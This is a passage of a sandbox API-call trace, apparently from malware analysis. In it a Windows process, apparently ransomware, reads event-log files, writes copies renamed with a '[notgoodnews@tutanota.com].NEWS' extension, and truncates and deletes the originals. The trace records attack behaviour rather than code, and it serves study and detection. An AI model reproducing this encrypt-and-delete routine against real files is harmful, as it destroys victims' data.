[0079.450] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0079.450] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0079.450] lstrlenW (lpString=".1cd") returned 4 [0079.450] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0079.450] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0079.450] lstrlenW (lpString=".jpg") returned 4 [0079.450] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0079.450] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0079.450] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 47 [0079.450] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0079.451] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=69632) returned 1 [0079.451] CloseHandle (hObject=0x378) returned 1 [0079.451] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20 [0079.451] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0079.451] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0079.451] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.451] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.451] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0079.451] GetLastError () returned 0x0 [0079.451] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0079.454] WriteFile (in: hFile=0x38c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0079.456] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.456] WriteFile (in: hFile=0x38c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x132, lpOverlapped=0x0) returned 1 [0079.456] SetEndOfFile (hFile=0x38c) returned 1 [0079.456] CloseHandle (hObject=0x38c) returned 1 [0079.459] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.459] SetEndOfFile (hFile=0x378) returned 1 [0079.460] CloseHandle (hObject=0x378) returned 1 [0079.460] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0079.460] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 1 [0079.461] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0079.461] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0079.461] lstrlenW (lpString=".doc") returned 4 [0079.461] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0079.461] lstrlenW (lpString=".docx") returned 5 [0079.461] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0079.461] lstrlenW (lpString=".pdf") returned 4 [0079.461] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0079.461] lstrlenW (lpString=".xls") returned 4 [0079.461] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0079.461] lstrlenW (lpString=".xlsx") returned 5 [0079.461] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0079.461] lstrlenW (lpString=".ppt") returned 4 [0079.461] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0079.461] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0079.461] lstrlenW (lpString=".zip") returned 4 [0079.461] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0079.461] lstrlenW (lpString=".rar") returned 4 [0079.461] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0079.461] lstrlenW (lpString=".bz2") returned 4 [0079.461] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0079.461] lstrlenW (lpString=".7z") returned 3 [0079.461] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0079.461] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0079.461] lstrlenW (lpString=".dbf") returned 4 [0079.461] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0079.461] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0079.462] lstrlenW (lpString=".1cd") returned 4 [0079.462] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0079.462] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0079.462] lstrlenW (lpString=".jpg") returned 4 [0079.462] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0079.462] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0079.462] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0079.462] lstrlenW (lpString=".doc") returned 4 [0079.462] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0079.462] lstrlenW (lpString=".docx") returned 5 [0079.462] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0079.462] lstrlenW (lpString=".pdf") returned 4 [0079.462] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0079.462] lstrlenW (lpString=".xls") returned 4 [0079.462] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0079.462] lstrlenW (lpString=".xlsx") returned 5 [0079.462] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0079.462] lstrlenW (lpString=".ppt") returned 4 [0079.462] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0079.462] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0079.462] lstrlenW (lpString=".zip") returned 4 [0079.462] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0079.462] lstrlenW (lpString=".rar") returned 4 [0079.462] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0079.462] lstrlenW (lpString=".bz2") returned 4 [0079.462] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0079.462] lstrlenW (lpString=".7z") returned 3 [0079.462] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0079.462] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0079.462] lstrlenW (lpString=".dbf") returned 4 [0079.462] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0079.462] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0079.462] lstrlenW (lpString=".1cd") returned 4 [0079.462] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0079.463] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0079.463] lstrlenW (lpString=".jpg") returned 4 [0079.463] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0079.463] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0079.463] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4Operational.evtx") returned 46 [0079.463] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0079.463] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=69632) returned 1 [0079.463] CloseHandle (hObject=0x378) returned 1 [0079.463] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20 [0079.463] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0079.463] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0079.463] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.463] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.464] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0079.796] GetLastError () returned 0x0 [0079.796] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0079.812] WriteFile (in: hFile=0x394, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0079.814] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.814] WriteFile (in: hFile=0x394, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x130, lpOverlapped=0x0) returned 1 [0079.815] SetEndOfFile (hFile=0x394) returned 1 [0079.815] CloseHandle (hObject=0x394) returned 1 [0079.817] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.817] SetEndOfFile (hFile=0x378) returned 1 [0079.819] CloseHandle (hObject=0x378) returned 1 [0079.819] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0079.820] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 1 [0079.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0079.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0079.823] lstrlenW (lpString=".doc") returned 4 [0079.823] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0079.823] lstrlenW (lpString=".docx") returned 5 [0079.823] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0079.823] lstrlenW (lpString=".pdf") returned 4 [0079.823] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0079.823] lstrlenW (lpString=".xls") returned 4 [0079.823] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0079.823] lstrlenW (lpString=".xlsx") returned 5 [0079.823] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0079.823] lstrlenW (lpString=".ppt") returned 4 [0079.823] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0079.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0079.823] lstrlenW (lpString=".zip") returned 4 [0079.823] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0079.824] lstrlenW (lpString=".rar") returned 4 [0079.824] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0079.824] lstrlenW (lpString=".bz2") returned 4 [0079.824] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0079.824] lstrlenW (lpString=".7z") returned 3 [0079.824] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0079.824] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0079.824] lstrlenW (lpString=".dbf") returned 4 [0079.824] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0079.824] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0079.824] lstrlenW (lpString=".1cd") returned 4 [0079.824] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0079.824] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0079.824] lstrlenW (lpString=".jpg") returned 4 [0079.824] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0079.824] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0079.824] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0079.824] lstrlenW (lpString=".doc") returned 4 [0079.824] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0079.824] lstrlenW (lpString=".docx") returned 5 [0079.824] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0079.824] lstrlenW (lpString=".pdf") returned 4 [0079.824] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0079.824] lstrlenW (lpString=".xls") returned 4 [0079.824] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0079.824] lstrlenW (lpString=".xlsx") returned 5 [0079.824] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0079.825] lstrlenW (lpString=".ppt") returned 4 [0079.825] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0079.825] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0079.825] lstrlenW (lpString=".zip") returned 4 [0079.825] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0079.825] lstrlenW (lpString=".rar") returned 4 [0079.825] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0079.825] lstrlenW (lpString=".bz2") returned 4 [0079.825] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0079.825] lstrlenW (lpString=".7z") returned 3 [0079.825] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0079.825] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0079.825] lstrlenW (lpString=".dbf") returned 4 [0079.825] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0079.825] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0079.825] lstrlenW (lpString=".1cd") returned 4 [0079.825] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0079.825] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0079.825] lstrlenW (lpString=".jpg") returned 4 [0079.825] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0079.825] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0079.825] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 46 [0079.826] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0079.826] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=69632) returned 1 [0079.826] CloseHandle (hObject=0x384) returned 1 [0079.826] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20 [0079.826] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0079.826] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0079.827] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.827] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.827] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0079.827] GetLastError () returned 0x0 [0079.827] ReadFile (in: hFile=0x384, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0079.831] WriteFile (in: hFile=0x378, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0079.834] ReadFile (in: hFile=0x384, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.834] WriteFile (in: hFile=0x378, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x130, lpOverlapped=0x0) returned 1 [0079.834] SetEndOfFile (hFile=0x378) returned 1 [0079.834] CloseHandle (hObject=0x378) returned 1 [0079.837] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.837] SetEndOfFile (hFile=0x384) returned 1 [0079.838] CloseHandle (hObject=0x384) returned 1 [0079.839] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0079.839] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 1 [0079.839] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0079.839] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0079.839] lstrlenW (lpString=".doc") returned 4 [0079.839] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0079.839] lstrlenW (lpString=".docx") returned 5 [0079.839] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0079.839] lstrlenW (lpString=".pdf") returned 4 [0079.840] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0079.840] lstrlenW (lpString=".xls") returned 4 [0079.840] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0079.840] lstrlenW (lpString=".xlsx") returned 5 [0079.840] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0079.840] lstrlenW (lpString=".ppt") returned 4 [0079.840] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0079.840] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0079.840] lstrlenW (lpString=".zip") returned 4 [0079.840] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0079.840] lstrlenW (lpString=".rar") returned 4 [0079.840] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0079.840] lstrlenW (lpString=".bz2") returned 4 [0079.840] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0079.840] lstrlenW (lpString=".7z") returned 3 [0079.840] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0079.840] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0079.840] lstrlenW (lpString=".dbf") returned 4 [0079.840] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0079.840] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0079.840] lstrlenW (lpString=".1cd") returned 4 [0079.840] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0079.840] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0079.840] lstrlenW (lpString=".jpg") returned 4 [0079.840] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0079.840] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0079.840] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0079.840] lstrlenW (lpString=".doc") returned 4 [0079.841] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0079.841] lstrlenW (lpString=".docx") returned 5 [0079.841] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0079.841] lstrlenW (lpString=".pdf") returned 4 [0079.841] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0079.841] lstrlenW (lpString=".xls") returned 4 [0079.841] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0079.841] lstrlenW (lpString=".xlsx") returned 5 [0079.841] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0079.841] lstrlenW (lpString=".ppt") returned 4 [0079.841] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0079.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0079.841] lstrlenW (lpString=".zip") returned 4 [0079.841] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0079.841] lstrlenW (lpString=".rar") returned 4 [0079.841] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0079.841] lstrlenW (lpString=".bz2") returned 4 [0079.841] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0079.841] lstrlenW (lpString=".7z") returned 3 [0079.841] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0079.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0079.841] lstrlenW (lpString=".dbf") returned 4 [0079.841] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0079.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0079.841] lstrlenW (lpString=".1cd") returned 4 [0079.841] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0079.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0079.841] lstrlenW (lpString=".jpg") returned 4 [0079.841] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0079.842] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0079.842] lstrlenW (lpString="Microsoft-Windows-SMBClient%4Operational.evtx") returned 45 [0079.842] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0079.842] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=69632) returned 1 [0079.842] CloseHandle (hObject=0x384) returned 1 [0079.842] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20 [0079.842] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0079.842] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), 